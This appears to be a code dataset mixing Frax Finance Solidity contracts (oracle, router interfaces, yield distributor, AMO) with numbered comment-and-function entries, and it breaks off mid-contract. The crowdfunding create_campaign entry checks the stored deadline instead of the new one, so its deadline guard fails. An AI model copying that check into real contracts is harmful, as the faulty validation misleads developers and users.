FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed)); price0CumulativeLast = price0Cumulative; price1CumulativeLast = price1Cumulative; blockTimestampLast = blockTimestamp; } // Note this will always return 0 before update has been called successfully for the first time. function consult(address token, uint amountIn) public view returns (uint amountOut) { uint32 blockTimestamp = UniswapV2OracleLibrary.currentBlockTimestamp(); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // Overflow is desired // Ensure that the price is not stale require((timeElapsed < (PERIOD + CONSULT_LENIENCY)) || ALLOW_STALE_CONSULTS, 'UniswapPairOracle: PRICE_IS_STALE_NEED_TO_CALL_UPDATE'); if (token == token0) { amountOut = price0Average.mul(amountIn).decode144(); } else { require(token == token1, 'UniswapPairOracle: INVALID_TOKEN'); amountOut = price1Average.mul(amountIn).decode144(); } } } // File contracts/Uniswap/Interfaces/IUniswapV2Router01.sol interface IUniswapV2Router01 { function factory() external returns (address); function WETH() external returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // File contracts/Uniswap/Interfaces/IUniswapV2Router02.sol interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // File contracts/Proxy/Initializable.sol // solhint-disable-next-line compiler-version /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // File contracts/Math/Math.sol /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // File contracts/Curve/IveFXS.sol pragma abicoder v2; interface IveFXS { struct LockedBalance { int128 amount; uint256 end; } function commit_transfer_ownership(address addr) external; function apply_transfer_ownership() external; function commit_smart_wallet_checker(address addr) external; function apply_smart_wallet_checker() external; function toggleEmergencyUnlock() external; function recoverERC20(address token_addr, uint256 amount) external; function get_last_user_slope(address addr) external view returns (int128); function user_point_history__ts(address _addr, uint256 _idx) external view returns (uint256); function locked__end(address _addr) external view returns (uint256); function checkpoint() external; function deposit_for(address _addr, uint256 _value) external; function create_lock(uint256 _value, uint256 _unlock_time) external; function increase_amount(uint256 _value) external; function increase_unlock_time(uint256 _unlock_time) external; function withdraw() external; function balanceOf(address addr) external view returns (uint256); function balanceOf(address addr, uint256 _t) external view returns (uint256); function balanceOfAt(address addr, uint256 _block) external view returns (uint256); function totalSupply() external view returns (uint256); function totalSupply(uint256 t) external view returns (uint256); function totalSupplyAt(uint256 _block) external view returns (uint256); function totalFXSSupply() external view returns (uint256); function totalFXSSupplyAt(uint256 _block) external view returns (uint256); function changeController(address _newController) external; function token() external view returns (address); function supply() external view returns (uint256); function locked(address addr) external view returns (LockedBalance memory); function epoch() external view returns (uint256); function point_history(uint256 arg0) external view returns (int128 bias, int128 slope, uint256 ts, uint256 blk, uint256 fxs_amt); function user_point_history(address arg0, uint256 arg1) external view returns (int128 bias, int128 slope, uint256 ts, uint256 blk, uint256 fxs_amt); function user_point_epoch(address arg0) external view returns (uint256); function slope_changes(uint256 arg0) external view returns (int128); function controller() external view returns (address); function transfersEnabled() external view returns (bool); function emergencyUnlockActive() external view returns (bool); function name() external view returns (string memory); function symbol() external view returns (string memory); function version() external view returns (string memory); function decimals() external view returns (uint256); function future_smart_wallet_checker() external view returns (address); function smart_wallet_checker() external view returns (address); function admin() external view returns (address); function future_admin() external view returns (address); } // File contracts/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File contracts/Utils/ReentrancyGuard.sol /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File contracts/Staking/veFXSYieldDistributorV4.sol // ==================================================================== // | ______ _______ | // | / _____________ __ __ / ____(_____ ____ _____ ________ | // | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ | // | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ | // | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ | // | | // ==================================================================== // ======================veFXSYieldDistributorV4======================= // ==================================================================== // Distributes Frax protocol yield based on the claimer's veFXS balance // V3: Yield will now not accrue for unlocked veFXS // Frax Finance: https://github.com/FraxFinance // Primary Author(s) // Travis Moore: https://github.com/FortisFortuna // Reviewer(s) / Contributor(s) // Jason Huan: https://github.com/jasonhuan // Sam Kazemian: https://github.com/samkazemian // Originally inspired by Synthetix.io, but heavily modified by the Frax team (veFXS portion) // https://github.com/Synthetixio/synthetix/blob/develop/contracts/StakingRewards.sol contract veFXSYieldDistributorV4 is Owned, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for ERC20; /* ========== STATE VARIABLES ========== */ // Instances IveFXS private veFXS; ERC20 public emittedToken; // Addresses address public emitted_token_address; // Admin addresses address public timelock_address; // Constant for price precision uint256 private constant PRICE_PRECISION = 1e6; // Yield and period related uint256 public periodFinish; uint256 public lastUpdateTime; uint256 public yieldRate; uint256 public yieldDuration = 604800; // 7 * 86400 (7 days) mapping(address => bool) public reward_notifiers; // Yield tracking uint256 public yieldPerVeFXSStored = 0; mapping(address => uint256) public userYieldPerTokenPaid; mapping(address => uint256) public yields; // veFXS tracking uint256 public totalVeFXSParticipating = 0; uint256 public totalVeFXSSupplyStored = 0; mapping(address => bool) public userIsInitialized; mapping(address => uint256) public userVeFXSCheckpointed; mapping(address => uint256) public userVeFXSEndpointCheckpointed; mapping(address => uint256) private lastRewardClaimTime; // staker addr -> timestamp // Greylists mapping(address => bool) public greylist; // Admin booleans for emergencies bool public yieldCollectionPaused = false; // For emergencies struct LockedBalance { int128 amount; uint256 end; } /* ========== MODIFIERS ========== */ modifier onlyByOwnGov() { require( msg.sender == owner || msg.sender == timelock_address, "Not owner or timelock"); _; } modifier notYieldCollectionPaused() { require(yieldCollectionPaused == false, "Yield collection is paused"); _; } modifier checkpointUser(address account) { _checkpointUser(account); _; } /* ========== CONSTRUCTOR ========== */ constructor ( address _owner, address _emittedToken, address _timelock_address, address _veFXS_address ) Owned(_owner) { emitted_token_address = _emittedToken; emittedToken = ERC20(_emittedToken); veFXS = IveFXS(_veFXS_address); lastUpdateTime = block.timestamp; timelock_address = _timelock_address; reward_notifiers[_owner] = true; } /* ========== VIEWS ========== */ function fractionParticipating() external view returns (uint256) { return totalVeFXSParticipating.mul(PRICE_PRECISION).div(totalVeFXSSupplyStored); } // Only positions with locked veFXS can accrue yield. Otherwise, expired-locked veFXS // is de-facto rewards for FXS. function eligibleCurrentVeFXS(address account) public view returns (uint256 eligible_vefxs_bal, uint256 stored_ending_timestamp) { uint256 curr_vefxs_bal = veFXS.balanceOf(account); // Stored is used to prevent abuse stored_ending_timestamp = userVeFXSEndpointCheckpointed[account]; // Only unexpired veFXS should be eligible if (stored_ending_timestamp != 0 && (block.timestamp >= stored_ending_timestamp)){ eligible_vefxs_bal = 0; } else if (block.timestamp >= stored_ending_timestamp){ eligible_vefxs_bal = 0; } else { eligible_vefxs_bal = curr_vefxs_bal; } } function lastTimeYieldApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function yieldPerVeFXS() public view returns (uint256) { if (totalVeFXSSupplyStored == 0) { return yieldPerVeFXSStored; } else { return ( yieldPerVeFXSStored.add( lastTimeYieldApplicable() .sub(lastUpdateTime) .mul(yieldRate) .mul(1e18) .div(totalVeFXSSupplyStored) ) ); } } function earned(address account) public view returns (uint256) { // Uninitialized users should not earn anything yet if (!userIsInitialized[account]) return 0; // Get eligible veFXS balances (uint256 eligible_current_vefxs, uint256 ending_timestamp) = eligibleCurrentVeFXS(account); // If your veFXS is unlocked uint256 eligible_time_fraction = PRICE_PRECISION; if (eligible_current_vefxs == 0){ // And you already claimed after expiration if (lastRewardClaimTime[account] >= ending_timestamp) { // You get NOTHING. You LOSE. Good DAY ser! return 0; } // You haven't claimed yet else { uint256 eligible_time = (ending_timestamp).sub(lastRewardClaimTime[account]); uint256 total_time = (block.timestamp).sub(lastRewardClaimTime[account]); eligible_time_fraction = PRICE_PRECISION.mul(eligible_time).div(total_time); } } // If the amount of veFXS increased, only pay off based on the old balance // Otherwise, take the midpoint uint256 vefxs_balance_to_use; { uint256 old_vefxs_balance = userVeFXSCheckpointed[account]; if (eligible_current_vefxs > old_vefxs_balance){ vefxs_balance_to_use = old_vefxs_balance; } else { vefxs_balance_to_use = ((eligible_current_vefxs).add(old_vefxs_balance)).div(2); } } return ( vefxs_balance_to_use .mul(yieldPerVeFXS().sub(userYieldPerTokenPaid[account])) .mul(eligible_time_fraction) .div(1e18 * PRICE_PRECISION) .add(yields[account]) ); } function getYieldForDuration() external view returns (uint256) { return (yieldRate.mul(yieldDuration)); } /* ========== MUTATIVE FUNCTIONS ========== */ function _checkpointUser(address account) internal { // Need to retro-adjust some things if the period hasn't been renewed, then start a new one sync(); // Calculate the earnings first _syncEarned(account); // Get the old and the new veFXS balances uint256 old_vefxs_balance = userVeFXSCheckpointed[account]; uint256 new_vefxs_balance = veFXS.balanceOf(account); // Update the user's stored veFXS balance userVeFXSCheckpointed[account] = new_vefxs_balance; // Update the user's stored ending timestamp IveFXS.LockedBalance memory curr_locked_bal_pack = veFXS.locked(account); userVeFXSEndpointCheckpointed[account] = curr_locked_bal_pack.end; // Update the total amount participating if (new_vefxs_balance >= old_vefxs_balance) { uint256 weight_diff = new_vefxs_balance.sub(old_vefxs_balance); totalVeFXSParticipating = totalVeFXSParticipating.add(weight_diff); } else { uint256 weight_diff = old_vefxs_balance.sub(new_vefxs_balance); totalVeFXSParticipating = totalVeFXSParticipating.sub(weight_diff); } // Mark the user as initialized if (!userIsInitialized[account]) { userIsInitialized[account] = true; lastRewardClaimTime[account] = block.timestamp; } } function _syncEarned(address account) internal { if (account != address(0)) { uint256 earned0 = earned(account); yields[account] = earned0; userYieldPerTokenPaid[account] = yieldPerVeFXSStored; } } // Anyone can checkpoint another user function checkpointOtherUser(address user_addr) external { _checkpointUser(user_addr); } // Checkpoints the user function checkpoint() external { _checkpointUser(msg.sender); } function getYield() external nonReentrant notYieldCollectionPaused checkpointUser(msg.sender) returns (uint256 yield0) { require(greylist[msg.sender] == false, "Address has been greylisted"); yield0 = yields[msg.sender]; if (yield0 > 0) { yields[msg.sender] = 0; TransferHelper.safeTransfer( emitted_token_address, msg.sender, yield0 ); emit YieldCollected(msg.sender, yield0, emitted_token_address); } lastRewardClaimTime[msg.sender] = block.timestamp; } function sync() public { // Update the total veFXS supply yieldPerVeFXSStored = yieldPerVeFXS(); totalVeFXSSupplyStored = veFXS.totalSupply(); lastUpdateTime = lastTimeYieldApplicable(); } function notifyRewardAmount(uint256 amount) external { // Only whitelisted addresses can notify rewards require(reward_notifiers[msg.sender], "Sender not whitelisted"); // Handle the transfer of emission tokens via `transferFrom` to reduce the number // of transactions required and ensure correctness of the smission amount emittedToken.safeTransferFrom(msg.sender, address(this), amount); // Update some values beforehand sync(); // Update the new yieldRate if (block.timestamp >= periodFinish) { yieldRate = amount.div(yieldDuration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(yieldRate); yieldRate = amount.add(leftover).div(yieldDuration); } // Update duration-related info lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(yieldDuration); emit RewardAdded(amount, yieldRate); } /* ========== RESTRICTED FUNCTIONS ========== */ // Added to support recovering LP Yield and other mistaken tokens from other systems to be distributed to holders function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyByOwnGov { // Only the owner address can ever receive the recovery withdrawal TransferHelper.safeTransfer(tokenAddress, owner, tokenAmount); emit RecoveredERC20(tokenAddress, tokenAmount); } function setYieldDuration(uint256 _yieldDuration) external onlyByOwnGov { require( periodFinish == 0 || block.timestamp > periodFinish, "Previous yield period must be complete before changing the duration for the new period"); yieldDuration = _yieldDuration; emit YieldDurationUpdated(yieldDuration); } function greylistAddress(address _address) external onlyByOwnGov { greylist[_address] = !(greylist[_address]); } function toggleRewardNotifier(address notifier_addr) external onlyByOwnGov { reward_notifiers[notifier_addr] = !reward_notifiers[notifier_addr]; } function setPauses(bool _yieldCollectionPaused) external onlyByOwnGov { yieldCollectionPaused = _yieldCollectionPaused; } function setYieldRate(uint256 _new_rate0, bool sync_too) external onlyByOwnGov { yieldRate = _new_rate0; if (sync_too) { sync(); } } function setTimelock(address _new_timelock) external onlyByOwnGov { timelock_address = _new_timelock; } /* ========== EVENTS ========== */ event RewardAdded(uint256 reward, uint256 yieldRate); event OldYieldCollected(address indexed user, uint256 yield, address token_address); event YieldCollected(address indexed user, uint256 yield, address token_address); event YieldDurationUpdated(uint256 newDuration); event RecoveredERC20(address token, uint256 amount); event YieldPeriodRenewed(address token, uint256 yieldRate); event DefaultInitialization(); /* ========== A CHICKEN ========== */ // // ,~. // ,-'__ `-, // {,-' `. } ,') // ,( a ) `-.__ ,',')~, // <=.) ( `-.__,==' ' ' '} // ( ) /) // `-'\ , ) // | \ `~. / // \ `._ \ / // \ `._____,' ,' // `-. ,' // `-._ _,-' // 77jj' // //_|| // __//--'/` // ,--'/` ' // // [hjw] https://textart.io/art/vw6Sa3iwqIRGkZsN1BC2vweF/chicken } // File contracts/Misc_AMOs/FXS1559_AMO_V3.sol // ==================================================================== // | ______ _______ | // | / _____________ __ __ / ____(_____ ____ _____ ________ | // | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ | // | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ | // | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ | // | | // ==================================================================== // ========================== FXS1559_AMO_V3 ========================== // ==================================================================== // Frax Finance: https://github.com/FraxFinance // Primary Author(s) // Travis Moore: https://github.com/FortisFortuna // Reviewer(s) / Contributor(s) // Jason Huan: https://github.com/jasonhuan // Sam Kazemian: https://github.com/samkazemian contract FXS1559_AMO_V3 is Owned { using SafeMath for uint256; // SafeMath automatically included in Solidity >= 8.0.0 /* ========== STATE VARIABLES ========== */ ERC20 private collateral_token; IFrax private FRAX; IFxs private FXS; IUniswapV2Router02 private UniRouterV2; IFraxAMOMinter public amo_minter; FraxPoolV3 public pool = FraxPoolV3(0x2fE065e6FFEf9ac95ab39E5042744d695F560729); veFXSYieldDistributorV4 public yieldDistributor; address private constant collateral_address = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address public timelock_address; address public custodian_address; address private constant frax_address = 0x853d955aCEf822Db058eb8505911ED77F175b99e; address private constant fxs_address = 0x3432B6A60D23Ca0dFCa7761B7ab56459D9C964D0; address payable public constant UNISWAP_ROUTER_ADDRESS = payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public amo_minter_address; uint256 private missing_decimals; uint256 private constant PRICE_PRECISION = 1e6; uint256 private constant COLLATERAL_RATIO_PRECISION = 1e6; // FRAX -> FXS max slippage uint256 public max_slippage; // Burned vs given to yield distributor uint256 public burn_fraction; // E6. Fraction of FXS burned vs transferred to the yield distributor /* ========== CONSTRUCTOR ========== */ constructor ( address _owner_address, address _yield_distributor_address, address _amo_minter_address ) Owned(_owner_address) { owner = _owner_address; FRAX = IFrax(frax_address); FXS = IFxs(fxs_address); collateral_token = ERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); missing_decimals = uint(18).sub(collateral_token.decimals()); yieldDistributor = veFXSYieldDistributorV4(_yield_distributor_address); // Initializations UniRouterV2 = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); amo_minter = IFraxAMOMinter(_amo_minter_address); max_slippage = 50000; // 5% burn_fraction = 0; // Give all to veFXS initially // Get the custodian and timelock addresses from the minter custodian_address = amo_minter.custodian_address(); timelock_address = amo_minter.timelock_address(); } /* ========== MODIFIERS ========== */ modifier onlyByOwnGov() { require(msg.sender == timelock_address || msg.sender == owner, "Not owner or timelock"); _; } modifier onlyByOwnGovCust() { require(msg.sender == timelock_address || msg.sender == owner || msg.sender == custodian_address, "Not owner, tlck, or custd"); _; } modifier onlyByMinter() { require(msg.sender == address(amo_minter), "Not minter"); _; } /* ========== VIEWS ========== */ function dollarBalances() public view returns (uint256 frax_val_e18, uint256 collat_val_e18) { frax_val_e18 = 1e18; collat_val_e18 = 1e18; } /* ========== RESTRICTED FUNCTIONS ========== */ function _swapFRAXforFXS(uint256 frax_amount) internal returns (uint256 frax_spent, uint256 fxs_received) { // Get the FXS price uint256 fxs_price = pool.getFXSPrice(); // Approve the FRAX for the router FRAX.approve(UNISWAP_ROUTER_ADDRESS, frax_amount); address[] memory FRAX_FXS_PATH = new address[](2); FRAX_FXS_PATH[0] = frax_address; FRAX_FXS_PATH[1] = fxs_address; uint256 min_fxs_out = frax_amount.mul(PRICE_PRECISION).div(fxs_price); min_fxs_out = min_fxs_out.sub(min_fxs_out.mul(max_slippage).div(PRICE_PRECISION)); // Buy some FXS with FRAX (uint[] memory amounts) = UniRouterV2.swapExactTokensForTokens( frax_amount, min_fxs_out, FRAX_FXS_PATH, address(this), 2105300114 // Expiration: a long time from now ); return (amounts[0], amounts[1]); } // Burn unneeded or excess FRAX function swapBurn(uint256 override_frax_amount, bool use_override) public onlyByOwnGov { uint256 mintable_frax; if (use_override){ // mintable_frax = override_USDC_amount.mul(10 ** missing_decimals).mul(COLLATERAL_RATIO_PRECISION).div(FRAX.global_collateral_ratio()); mintable_frax = override_frax_amount; } else { mintable_frax = pool.buybackAvailableCollat(); } (, uint256 fxs_received ) = _swapFRAXforFXS(mintable_frax); // Calculate the amount to burn vs give to the yield distributor uint256 amt_to_burn = fxs_received.mul(burn_fraction).div(PRICE_PRECISION); uint256 amt_to_yield_distributor = fxs_received.sub(amt_to_burn); // Burn some of the FXS burnFXS(amt_to_burn); // Give the rest to the yield distributor FXS.approve(address(yieldDistributor), amt_to_yield_distributor); yieldDistributor.notifyRewardAmount(amt_to_yield_distributor); } /* ========== Burns and givebacks ========== */ // Burn unneeded or excess FRAX. Goes through the minter function burnFRAX(uint256 frax_amount) public onlyByOwnGovCust { FRAX.approve(address(amo_minter), frax_amount); amo_minter.burnFraxFromAMO(frax_amount); } // Burn unneeded FXS. Goes through the minter function burnFXS(uint256 fxs_amount) public onlyByOwnGovCust { FXS.approve(address(amo_minter), fxs_amount); amo_minter.burnFxsFromAMO(fxs_amount); } /* ========== RESTRICTED GOVERNANCE FUNCTIONS ========== */ function setBurnFraction(uint256 _burn_fraction) external onlyByOwnGov { burn_fraction = _burn_fraction; } function setFraxPool(address _frax_pool_address) external onlyByOwnGov { pool = FraxPoolV3(_frax_pool_address); } function setAMOMinter(address _amo_minter_address) external onlyByOwnGov { amo_minter = IFraxAMOMinter(_amo_minter_address); // Get the timelock address from the minter timelock_address = amo_minter.timelock_address(); // Make sure the new address is not address(0) require(timelock_address != address(0), "Invalid timelock"); } function setSafetyParams(uint256 _max_slippage) external onlyByOwnGov { max_slippage = _max_slippage; } function setYieldDistributor(address _yield_distributor_address) external onlyByOwnGov { yieldDistributor = veFXSYieldDistributorV4(_yield_distributor_address); } function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyByOwnGov { TransferHelper.safeTransfer(address(tokenAddress), msg.sender, tokenAmount); } // Generic proxy function execute( address _to, uint256 _value, bytes calldata _data ) external onlyByOwnGov returns (bool, bytes memory) { (bool success, bytes memory result) = _to.call{value:_value}(_data); return (success, result); } }
Set the Chainlink oracles Set the instances Set the decimals
function setOracles(address _frax_usd_chainlink_addr, address _fxs_usd_chainlink_addr) external onlyByOwnGov { priceFeedFRAXUSD = AggregatorV3Interface(_frax_usd_chainlink_addr); priceFeedFXSUSD = AggregatorV3Interface(_fxs_usd_chainlink_addr); chainlink_frax_usd_decimals = priceFeedFRAXUSD.decimals(); chainlink_fxs_usd_decimals = priceFeedFXSUSD.decimals(); emit OraclesSet(_frax_usd_chainlink_addr, _fxs_usd_chainlink_addr); }
448,612
./full_match/1/0x2Ee0d782DC691b4E3DbEb292fB0e83bc5155A6CD/sources/contracts/FantasyFootball.sol
view function to see how many points an address has
function addressPoints(address _address) public view returns (int256) { return addressToPoints[_address]; }
3,072,022
./full_match/5/0x7b2AFE4Ae97985672EC75F0aFb02cED1dbf897E6/sources/contracts/CrowdFundingSC.sol
increment the number of campaigns
function create_campaign(address _owner, string memory _title, string memory _description, uint _target, uint _deadline, string memory _image) public returns(uint) { Campaign storage campaign = campaigns[no_of_campaigns]; require(campaign.deadline < block.timestamp, "Deadline already passed :("); campaign.owner = _owner; campaign.title = _title; campaign.description = _description; campaign.target = _target; campaign.deadline = _deadline; campaign.amount_collected = 0; campaign.image = _image; no_of_campaigns ++; return no_of_campaigns - 1; }
1,855,015
// SPDX-License-Identifier: Apache-2.0 pragma solidity >=0.6.4 <0.8.0; pragma experimental ABIEncoderV2; import "https://github.com/vigilance91/solidarity/EIP/introspection/Canary/EIP801Canary.sol"; import "https://github.com/vigilance91/solidarity/ERC/token/ERC20/ERC20.sol"; import "https://github.com/vigilance91/solidarity/ERC/token/ERC20/iERC20.sol"; /// full interface //interface iERC20Token is iEIP801Canary, //iERC20 //{ //} /// /// @title ERC20Token Implementation /// @author Tyler R. Drury <vigilstudios.td@gmail.com> (www.twitter.com/StudiosVigil) - copyright 3/1/2021, All Rights Reserved /// @dev basic ERC-20 token with ERC-165 and ERC-173 support /// abstract contract ERC20Token is EIP801Canary, ERC20, iERC20 { constructor( string memory name, string memory symbol )internal EIP801Canary() ERC20(name, symbol) { _registerInterface(type(iERC20).interfaceId); //_registerInterface(type(iERC20Token).interfaceId); } function balanceOf( address account )external view override returns( uint256 ){ return _balanceOf(account); } /// /// @dev See {mixinERC20.transfer} /// /// Additional Requirements: /// - `recipient` cannot be null /// - `recipient` cannot be msgSender /// - 